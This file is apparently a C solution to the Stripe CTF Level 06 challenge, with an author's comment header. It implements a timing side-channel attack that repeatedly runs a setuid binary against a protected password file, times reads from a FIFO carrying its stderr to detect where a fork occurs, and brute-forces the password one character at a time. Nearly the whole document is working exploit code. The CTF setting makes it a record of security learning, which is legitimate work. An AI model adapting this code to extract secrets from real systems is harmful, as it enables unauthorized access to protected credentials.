Stripe CTF Challenge Level 06 Solution

ctf_mpetrov.c

//
//  Created by Michael Petrov on 12-02-23.
//  Copyright (c) 2012 TenthBit Inc. All rights reserved.
//  http://michaelpetrov.com (petrov.michael@gmail.com)
//
//
//  This solution performs a timing attack on the fork system call. By monitoring the process closely
//  it is possible to discover where the fork likely happened. With some basic heuristics, it's possible
//  to infer where the wrong character is. With very minor brute force searching it becomes very easy
//  to find the password one letter at a time.
//
//  compile with gcc -lrt ctf_mpetrov.c
//  ./a.out
//  (... wait for 30-90 seconds for brute force guesses to stabilize ...)
//
//  Warning: will not work well during a fork-bomb, try again later if fork errors appear
//
//  Some notes:
//  - This code is very messy right now and makes a lot of assumptions, my apologies
//  - It is a combination of all the different tests I was running throughout the day
//  - The following was attempted before resorting to timing:
//      - blocking stderr character-by-character (harder than it sounds due to kernel buffers)
//      - timing a read to consume all the data it can before the fork (worked on the Mac, fork was causing buffer flushes. Did not work on the Linux server.
//      - stopping and starting the process using signals to force "stepping" (completely failed for unknown reasons, didn't have time to investigate)
//      - using other types of IPC (files, pipes, fifo pipes), that's why you'll see the "mkfifo err" to help with blocking the process until the right time
//  - Finally using a high precision timer I decided to see if the fork could be detected:
//      - reading one byte at a time from the fifo pipe was taking 10,000-20,000 nanoseconds
//      - fork would take an order of magnitude longer (~150,000 nanoseconds)
//      - sometimes randomly (due to fork bombs and other events) the normal loop would take a very long time
//      - by looking for events all events under 50,000 nanoseconds and ONE event above 100,000, the fork location became quite predicatable
//  - ENJOY!
//

#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <fcntl.h>
#include <signal.h>
#include <errno.h>
#include <sys/time.h>
#include <time.h>


#define MAX_LEN 28
//char *dictionary = "abcdefghijklmnopqrstuvwxyz";
char *dictionary = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";



const clockid_t clock_id = CLOCK_REALTIME;


int try_pass(char *pass);

// source http://www.rbgrn.net/content/25-how-to-write-brute-force-password-cracker

int recurse(int width, int position, char *try, int dictionaryLen, int minCorrect)
{
	int j;
	for(j=0;j<dictionaryLen;j++) {
		char c= dictionary[j];
		
        try[position] = c;
		int num_correct = -1;
        while(num_correct==-1) {
            num_correct = try_pass(try);
        }
        
        
        
        
        if(num_correct > minCorrect) {
            printf("trying %s, correct: %d\n",try,num_correct);
            
            if(position < width-1) {
                recurse(width,position+1,try,dictionaryLen,minCorrect+1);
            }
        }

	}
	return 1;
}


int main(void) {
	
	system("mkfifo err");

	
	char try[MAX_LEN+2];
	
	int dictionaryLen = strlen(dictionary);
	
    //	char *manual = "ze";
    //	int num_correct = try_pass(manual);
    //	printf("trying %s, correct: %d\n",manual,num_correct);
	
    //	return 1;
	int i;
	for(i=24;i<=MAX_LEN;i++) {
		memset(try,'_',sizeof(try));
        try[sizeof(try)-1] = 0;
		recurse(i,0,try,dictionaryLen,0);
	}
    
    return 0;       /* always good to return something */
}




int try_pass_read_result(char *pass);
int try_pass(char *pass) 
{
	int num_correct = 0;
	
	pid_t pid = fork();
	if(pid<0) {
		printf("fork failed, aborting\n");
		exit(1);
	}
	int fd = 0;
	if(pid) {
        //		printf("about to open stderr\n");
        usleep(1000);
        
        num_correct = try_pass_read_result(pass);
        
		
	    waitpid(pid,NULL,0);
	    
	}else{
        usleep(500);
		char cmd[2048];
		sprintf(cmd,"/levels/level06 /home/the-flag/.password %s 1>/dev/null 2>err",pass);
		system(cmd);
		exit(0);
	}
	
	usleep(500);
	
	if(fd) {
		int flags = fcntl(fd, F_GETFL, 0);
		fcntl(fd, F_SETFL, flags | O_NONBLOCK);
		char data[2048];
		ssize_t bytes_read = read(fd,data,1024);
		close(fd);
	}
    
    usleep(5000);
    
	return num_correct;
}



struct timespec diff(struct timespec start,struct  timespec end);
int try_pass_read_result(char *pass) {
    
	struct timespec base_ts;
    
    int fd = open("err",O_RDONLY);
    //printf("opened stderr: %d\n",fd);
    
	char data[2048];
	char data2[MAX_LEN+2][64];
	ssize_t bytes_read = read(fd,data,1024);
	
	clock_gettime(clock_id, &base_ts);	
    struct timespec ts[MAX_LEN+2];
    ssize_t bytes_read2[MAX_LEN+2];
    int i;
    for(i=0; i<(MAX_LEN+2);i++) {
		bytes_read2[i] = read(fd,data2[i],64);
		clock_gettime(clock_id, &(ts[i]));
	}
    
	if(bytes_read>0) {
		data[bytes_read] = 0;
		//printf("read: (%ld) %s\n",bytes_read,data);
	}
    
	char misfire = 0;
	ssize_t bytes_expected = strlen(pass)+1;	// +1 for \n in level06.c
	
	long int delta = 0;
	ssize_t bytes_total = 0;
	int high_delta = -1;
	for(i=0; i<(MAX_LEN+2);i++) {
		struct timespec t = diff(base_ts,ts[i]);
		if(delta != 0) delta = t.tv_nsec-delta;
		ssize_t br = bytes_read2[i];
		if(br != 1) {
			if(br > 1) {
                if(br > 10) {
                    if(strstr(data2[i],"how did you") != NULL) {
                        printf("\n\nPOSSIBLE MATCH: %s\n\n",pass);
                        exit(0);
                    }
                }
                misfire = 1;
            }
			break;
		}
		//printf("%d: %d ( %ld %ld ) %ld\n",i,br,t.tv_sec,t.tv_nsec,delta);
		
		if(delta != 0) {
			if(delta < 50000) {
				// ok
			}else if(delta > 50000 && delta < 100000) {
				misfire = 1;
				printf("Misfire due to delta out of range %ld\n",delta);
				break;
			}else{
				if(high_delta == -1) {
					high_delta = i;
				}else{
					misfire = 1;	// already have high delta
					printf("Misfire due to duplicate high delta %ld\n",delta);
					break;
				}
			}
		}
		
		delta = t.tv_nsec;
		bytes_total+=br;
	}
	
	if(!misfire && bytes_total != bytes_expected) {
		misfire = 1;
		printf("Misfire bytes_total != bytes_expected\n");
	}
	
	if(misfire) {
		//printf("MISFIRE, REPEAT\n");
		return -1;
	}
    
    //printf("likely correct: %d\n",high_delta-1);
    
    return high_delta-1;

}

struct timespec diff(struct timespec start,struct  timespec end)
{
	struct 	timespec temp;
	if ((end.tv_nsec-start.tv_nsec)<0) {
		temp.tv_sec = end.tv_sec-start.tv_sec-1;
		temp.tv_nsec = 1000000000+end.tv_nsec-start.tv_nsec;
	} else {
		temp.tv_sec = end.tv_sec-start.tv_sec;
		temp.tv_nsec = end.tv_nsec-start.tv_nsec;
	}
	return temp;
}